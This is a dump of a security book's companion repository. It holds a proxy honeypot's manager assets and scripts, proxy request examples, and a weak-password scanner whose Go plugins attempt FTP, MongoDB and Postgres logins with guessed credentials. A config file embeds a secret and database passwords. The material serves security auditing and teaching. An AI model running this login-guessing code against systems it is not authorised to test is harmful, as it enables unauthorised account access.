PR.registerLangHandler(PR.createSimpleLexer([["pun",/^[:>?|]+/,a,":|>?"],["dec",/^%(?:YAML|TAG)[^\n\r#]+/,a,"%"],["typ",/^&\S+/,a,"&"],["typ",/^!\S*/,a,"!"],["str",/^"(?:[^"\\]|\\.)*(?:"|$)/,a,'"'],["str",/^'(?:[^']|'')*(?:'|$)/,a,"'"],["com",/^#[^\n\r]*/,a,"#"],["pln",/^\s+/,a," \t\r\n"]],[["dec",/^(?:---|\.\.\.)(?:[\n\r]|$)/],["pun",/^-/],["kwd",/^\w+:[\n\r ]/],["pln",/^\w+/]]),["yaml","yml"]); 3 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/prettify.css: -------------------------------------------------------------------------------- 1 | .pln{color:#000}@media screen{.str{color:#080}.kwd{color:#008}.com{color:#800}.typ{color:#606}.lit{color:#066}.pun,.opn,.clo{color:#660}.tag{color:#008}.atn{color:#606}.atv{color:#080}.dec,.var{color:#606}.fun{color:red}}@media print,projection{.str{color:#060}.kwd{color:#006;font-weight:bold}.com{color:#600;font-style:italic}.typ{color:#404;font-weight:bold}.lit{color:#044}.pun,.opn,.clo{color:#440}.tag{color:#006;font-weight:bold}.atn{color:#404}.atv{color:#060}}pre.prettyprint{padding:2px;border:1px solid #888}ol.linenums{margin-top:0;margin-bottom:0}li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8{list-style-type:none}li.L1,li.L3,li.L5,li.L7,li.L9{background:#eee} -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/AutoFill/css/dataTables.autoFill.css: -------------------------------------------------------------------------------- 1 | /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 2 | * AutoFill styles 3 | */ 4 | 5 | div.AutoFill_filler { 6 | display: none; 7 | position: absolute; 8 | height: 14px; 9 | width: 14px; 10 | background: url(../images/filler.png) no-repeat center center; 11 | z-index: 1002; 12 | } 13 | 14 | div.AutoFill_border { 15 | display: none; 16 | position: absolute; 17 | background-color: #0063dc; 18 | z-index: 1001; 19 | 20 | box-shadow: 0px 0px 5px #76b4ff; 21 | -moz-box-shadow: 0px 0px 5px #76b4ff; 22 | -webkit-box-shadow: 0px 0px 5px #76b4ff; 23 | } 24 | 25 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/AutoFill/css/dataTables.autoFill.min.css: -------------------------------------------------------------------------------- 1 | div.AutoFill_filler{display:none;position:absolute;height:14px;width:14px;background:url(../images/filler.png) no-repeat center center;z-index:1002}div.AutoFill_border{display:none;position:absolute;background-color:#0063dc;z-index:1001;box-shadow:0px 0px 5px #76b4ff;-moz-box-shadow:0px 0px 5px #76b4ff;-webkit-box-shadow:0px 0px 5px #76b4ff} 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/AutoFill/images/filler.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/AutoFill/images/filler.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/ColReorder/css/dataTables.colReorder.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Namespace DTCR - "DataTables ColReorder" plug-in 3 | */ 4 | 5 | table.DTCR_clonedTable { 6 | background-color: rgba(255, 255, 255, 0.7); 7 | z-index: 202; 8 | } 9 | 10 | div.DTCR_pointer { 11 | width: 1px; 12 | background-color: #0259C4; 13 | z-index: 201; 14 | } -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/ColReorder/css/dataTables.colReorder.min.css: -------------------------------------------------------------------------------- 1 | table.DTCR_clonedTable{background-color:rgba(255,255,255,0.7);z-index:202}div.DTCR_pointer{width:1px;background-color:#0259C4;z-index:201} 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/ColReorder/images/insert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/ColReorder/images/insert.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/FixedColumns/css/dataTables.fixedColumns.css: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* Block out what is behind the fixed column's header and footer */ 4 | table.DTFC_Cloned thead, 5 | table.DTFC_Cloned tfoot { 6 | background-color: white; 7 | } 8 | 9 | /* Block out the gap above the scrollbar on the right, when there is a fixed 10 | * right column 11 | */ 12 | div.DTFC_Blocker { 13 | background-color: white; 14 | } 15 | 16 | div.DTFC_LeftWrapper table.dataTable, 17 | div.DTFC_RightWrapper table.dataTable { 18 | margin-bottom: 0; 19 | z-index: 2; 20 | } 21 | 22 | div.DTFC_LeftWrapper table.dataTable.no-footer, 23 | div.DTFC_RightWrapper table.dataTable.no-footer { 24 | border-bottom: none; 25 | } 26 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/FixedColumns/css/dataTables.fixedColumns.min.css: -------------------------------------------------------------------------------- 1 | table.DTFC_Cloned thead,table.DTFC_Cloned tfoot{background-color:white}div.DTFC_Blocker{background-color:white}div.DTFC_LeftWrapper table.dataTable,div.DTFC_RightWrapper table.dataTable{margin-bottom:0;z-index:2}div.DTFC_LeftWrapper table.dataTable.no-footer,div.DTFC_RightWrapper table.dataTable.no-footer{border-bottom:none} 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/FixedHeader/css/dataTables.fixedHeader.css: -------------------------------------------------------------------------------- 1 | 2 | 3 | div.FixedHeader_Cloned th, 4 | div.FixedHeader_Cloned td { 5 | background-color: white !important; 6 | } 7 | 8 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/FixedHeader/css/dataTables.fixedHeader.min.css: -------------------------------------------------------------------------------- 1 | div.FixedHeader_Cloned th,div.FixedHeader_Cloned td{background-color:white !important} 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/KeyTable/css/dataTables.keyTable.css: -------------------------------------------------------------------------------- 1 | 2 | 3 | table.KeyTable th.focus, 4 | table.KeyTable td.focus { 5 | outline: 3px solid #3366FF; 6 | outline-offset: -3px; 7 | } 8 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/KeyTable/css/dataTables.keyTable.min.css: -------------------------------------------------------------------------------- 1 | table.KeyTable th.focus,table.KeyTable td.focus{outline:3px solid #3366FF;outline-offset:-3px} 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/Responsive/Readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/Responsive/Readme.md -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/Scroller/css/dataTables.scroller.min.css: -------------------------------------------------------------------------------- 1 | div.DTS tbody th,div.DTS tbody td{white-space:nowrap}div.DTS tbody tr.even{background-color:white}div.DTS div.DTS_Loading{position:absolute;top:50%;left:50%;width:200px;height:20px;margin-top:-20px;margin-left:-100px;z-index:1;border:1px solid #999;padding:20px 0;text-align:center;background-color:white;background-color:rgba(255,255,255,0.5)}div.DTS div.dataTables_scrollHead,div.DTS div.dataTables_scrollFoot{background-color:white}div.DTS div.dataTables_scrollBody{z-index:2}div.DTS div.dataTables_scroll{background:url("../images/loading-background.png") repeat 0 0} 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/Scroller/images/loading-background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/Scroller/images/loading-background.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/collection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/collection.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/collection_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/collection_hover.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/copy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/copy.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/copy_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/copy_hover.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/csv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/csv.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/csv_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/csv_hover.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/pdf.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/pdf_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/pdf_hover.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/print.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/print.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/print_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/print_hover.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/collection.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/collection.psd -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/copy document.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/copy document.psd -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/file_types.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/file_types.psd -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/printer.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/psd/printer.psd -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/xls.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/xls.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/xls_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/images/xls_hover.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/swf/copy_csv_xls.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/swf/copy_csv_xls.swf -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/swf/copy_csv_xls_pdf.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/extensions/TableTools/swf/copy_csv_xls_pdf.swf -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/images/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/images/sort_asc.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/images/sort_asc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/images/sort_asc_disabled.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/images/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/images/sort_both.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/images/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/images/sort_desc.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/datatables/images/sort_desc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/datatables/images/sort_desc_disabled.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /proxy-honeypot/scripts/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /proxy-honeypot/scripts/.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /proxy-honeypot/scripts/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /proxy-honeypot/scripts/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /proxy-honeypot/scripts/.idea/scripts.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 12 | -------------------------------------------------------------------------------- /proxy-honeypot/scripts/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /proxy-honeypot/scripts/config/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/scripts/config/__init__.py -------------------------------------------------------------------------------- /proxy-honeypot/scripts/script.py: -------------------------------------------------------------------------------- 1 | # coding: utf8 2 | 3 | import sys 4 | 5 | from mongodb import MongodbClient 6 | 7 | 8 | def usage(cmd): 9 | print("Usage:\n{} password".format(cmd)) 10 | 11 | 12 | def password(): 13 | client = MongodbClient() 14 | # save password to database 15 | client.save_password_to_db() 16 | # sort password,urls,evil_ips 17 | 18 | 19 | if __name__ == '__main__': 20 | if len(sys.argv) == 2: 21 | if sys.argv[1] == "password".lower(): 22 | password() 23 | else: 24 | usage(sys.argv[0]) 25 | else: 26 | usage(sys.argv[0]) 27 | -------------------------------------------------------------------------------- /proxy-honeypot/server/.gitignore: -------------------------------------------------------------------------------- 1 | # Created by .ignore support plugin (hsz.mobi) 2 | .idea 3 | server -------------------------------------------------------------------------------- /proxy-honeypot/server/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build server.go 4 | -------------------------------------------------------------------------------- /proxy-honeypot/server/conf/app.ini: -------------------------------------------------------------------------------- 1 | HTTP_PORT = 8080 2 | SECRET = 5fa5b889ef8247f1b2e9a452b0641a02 3 | 4 | [database] 5 | ; data type support mysql|mongodb 6 | DB_TYPE = mongodb 7 | 8 | ;DB_HOST = 127.0.0.1 9 | ;DB_PORT = 3306 10 | ;DB_USER = xproxy 11 | ;DB_PASS = xsec.io 12 | ;DB_NAME = xproxy 13 | 14 | DB_HOST = 127.0.0.1 15 | DB_PORT = 27017 16 | DB_USER = xproxy 17 | DB_PASS = xsec.io 18 | DB_NAME = xproxy 19 | -------------------------------------------------------------------------------- /proxy-honeypot/server/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/proxy-honeypot/server 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/go-sql-driver/mysql v1.5.0 7 | github.com/go-xorm/xorm v0.7.9 8 | github.com/kr/pretty v0.2.1 // indirect 9 | github.com/mattn/go-colorable v0.1.8 // indirect 10 | github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect 11 | github.com/sirupsen/logrus v1.7.0 12 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 13 | gopkg.in/ini.v1 v1.62.0 14 | gopkg.in/macaron.v1 v1.3.9 15 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 // indirect 16 | upper.io/db.v3 v3.7.1+incompatible 17 | ) 18 | -------------------------------------------------------------------------------- /scanner/crack_ssh_demo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /scanner/crack_ssh_demo/.idea/crack_ssh_demo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/crack_ssh_demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/crack_ssh_demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/crack_ssh_demo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/gorequest.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/parnurzeal/gorequest" 7 | ) 8 | 9 | func main() { 10 | request := gorequest.New() 11 | resp, body, err := request.Proxy("http://sec.lu:8080").Get("http://mail.163.com").End() 12 | fmt.Printf("resp: %v, body: %v, err: %v\n", resp, body, err) 13 | } 14 | -------------------------------------------------------------------------------- /scanner/grequests.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net/url" 6 | 7 | "github.com/levigross/grequests" 8 | ) 9 | 10 | func main() { 11 | proxyURL, err := url.Parse("http://sec.lu:8080") // Proxy URL 12 | if err != nil { 13 | panic(err) 14 | } 15 | 16 | resp, err := grequests.Get("http://mail.163.com/", 17 | &grequests.RequestOptions{Proxies: map[string]*url.URL{proxyURL.Scheme: proxyURL}}) 18 | 19 | fmt.Printf("resp: %v, err: %v\n", resp, err) 20 | } 21 | -------------------------------------------------------------------------------- /scanner/http_get.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "net/url" 9 | "time" 10 | ) 11 | 12 | func main() { 13 | proxyUrl, err := url.Parse("http://sec.lu:8080") 14 | Transport := &http.Transport{Proxy: http.ProxyURL(proxyUrl)} 15 | httpClient := &http.Client{Transport: Transport, Timeout: time.Second * 3} 16 | 17 | res, err := httpClient.Get("http://email.163.com/") 18 | if err != nil { 19 | log.Fatal(err) 20 | } 21 | robots, err := ioutil.ReadAll(res.Body) 22 | res.Body.Close() 23 | if err != nil { 24 | log.Fatal(err) 25 | } 26 | fmt.Printf("%s", robots) 27 | } 28 | -------------------------------------------------------------------------------- /scanner/password_crack/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /scanner/password_crack/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/password_crack/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/password_crack/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/password_crack/.idea/password_crack.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/password_crack/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/password_crack/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/password_crack/ip_list.txt: -------------------------------------------------------------------------------- 1 | 10.211.55.3:22|ssh 2 | -------------------------------------------------------------------------------- /scanner/password_crack/logger/log.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "github.com/sirupsen/logrus" 5 | "github.com/x-cray/logrus-prefixed-formatter" 6 | ) 7 | 8 | var ( 9 | Log *logrus.Entry 10 | ) 11 | 12 | func init() { 13 | logger := logrus.New() 14 | logger.Formatter = new(prefixed.TextFormatter) 15 | logger.Level = logrus.DebugLevel 16 | Log = logger.WithFields(logrus.Fields{"prefix": "password crack"}) 17 | } 18 | -------------------------------------------------------------------------------- /scanner/password_crack/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "runtime" 6 | 7 | "sec-dev-in-action-src/scanner/password_crack/cmd" 8 | 9 | "github.com/urfave/cli" 10 | ) 11 | 12 | func main() { 13 | app := cli.NewApp() 14 | app.Name = "password-crack" 15 | app.Author = "netxfly" 16 | app.Email = "x@xsec.io" 17 | app.Version = "2020/3/11" 18 | app.Usage = "Weak password scanner" 19 | app.Commands = []cli.Command{cmd.Scan} 20 | app.Flags = append(app.Flags, cmd.Scan.Flags...) 21 | err := app.Run(os.Args) 22 | _ = err 23 | } 24 | 25 | func init() { 26 | runtime.GOMAXPROCS(runtime.NumCPU()) 27 | } 28 | -------------------------------------------------------------------------------- /scanner/password_crack/models/models.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | type Service struct { 4 | Ip string 5 | Port int 6 | Protocol string 7 | Username string 8 | Password string 9 | } 10 | 11 | type ScanResult struct { 12 | Service Service 13 | Result bool 14 | } 15 | 16 | type IpAddr struct { 17 | Ip string 18 | Port int 19 | Protocol string 20 | } 21 | 22 | -------------------------------------------------------------------------------- /scanner/password_crack/password_crack.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/scanner/password_crack/password_crack.db -------------------------------------------------------------------------------- /scanner/password_crack/password_crack.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/scanner/password_crack/password_crack.txt -------------------------------------------------------------------------------- /scanner/password_crack/plugins/ftp.go: -------------------------------------------------------------------------------- 1 | package plugins 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/jlaffaye/ftp" 7 | 8 | "sec-dev-in-action-src/scanner/password_crack/models" 9 | "sec-dev-in-action-src/scanner/password_crack/vars" 10 | ) 11 | 12 | func ScanFtp(s models.Service) (result models.ScanResult, err error) { 13 | result.Service = s 14 | conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", s.Ip, s.Port), vars.TimeOut) 15 | if err == nil { 16 | err = conn.Login(s.Username, s.Password) 17 | if err == nil { 18 | defer func() { 19 | err = conn.Logout() 20 | }() 21 | result.Result = true 22 | } 23 | } 24 | return result, err 25 | } 26 | -------------------------------------------------------------------------------- /scanner/password_crack/plugins/mongodb.go: -------------------------------------------------------------------------------- 1 | package plugins 2 | 3 | import ( 4 | "fmt" 5 | 6 | "gopkg.in/mgo.v2" 7 | 8 | "sec-dev-in-action-src/scanner/password_crack/models" 9 | "sec-dev-in-action-src/scanner/password_crack/vars" 10 | ) 11 | 12 | func ScanMongodb(s models.Service) (result models.ScanResult, err error) { 13 | result.Service = s 14 | url := fmt.Sprintf("mongodb://%v:%v@%v:%v/%v", s.Username, s.Password, s.Ip, s.Port, "test") 15 | session, err := mgo.DialWithTimeout(url, vars.TimeOut) 16 | 17 | if err == nil { 18 | defer session.Close() 19 | err = session.Ping() 20 | if err == nil { 21 | result.Result = true 22 | } 23 | } 24 | 25 | return result, err 26 | } 27 | -------------------------------------------------------------------------------- /scanner/password_crack/plugins/plugins.go: -------------------------------------------------------------------------------- 1 | package plugins 2 | 3 | import ( 4 | "sec-dev-in-action-src/scanner/password_crack/models" 5 | ) 6 | 7 | type ScanFunc func(service models.Service) (result models.ScanResult, err error) 8 | 9 | var ( 10 | ScanFuncMap map[string]ScanFunc 11 | ) 12 | 13 | func init() { 14 | ScanFuncMap = make(map[string]ScanFunc) 15 | ScanFuncMap["FTP"] = ScanFtp 16 | ScanFuncMap["SSH"] = ScanSsh 17 | ScanFuncMap["MYSQL"] = ScanMysql 18 | ScanFuncMap["MSSQL"] = ScanMssql 19 | ScanFuncMap["REDIS"] = ScanRedis 20 | ScanFuncMap["POSTGRESQL"] = ScanPostgres 21 | ScanFuncMap["MONGODB"] = ScanMongodb 22 | } 23 | -------------------------------------------------------------------------------- /scanner/password_crack/plugins/postgres.go: -------------------------------------------------------------------------------- 1 | package plugins 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | 7 | _ "github.com/lib/pq" 8 | 9 | "sec-dev-in-action-src/scanner/password_crack/models" 10 | ) 11 | 12 | func ScanPostgres(service models.Service) (result models.ScanResult, err error) { 13 | result.Service = service 14 | 15 | dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", service.Username, 16 | service.Password, service.Ip, service.Port, "postgres", "disable") 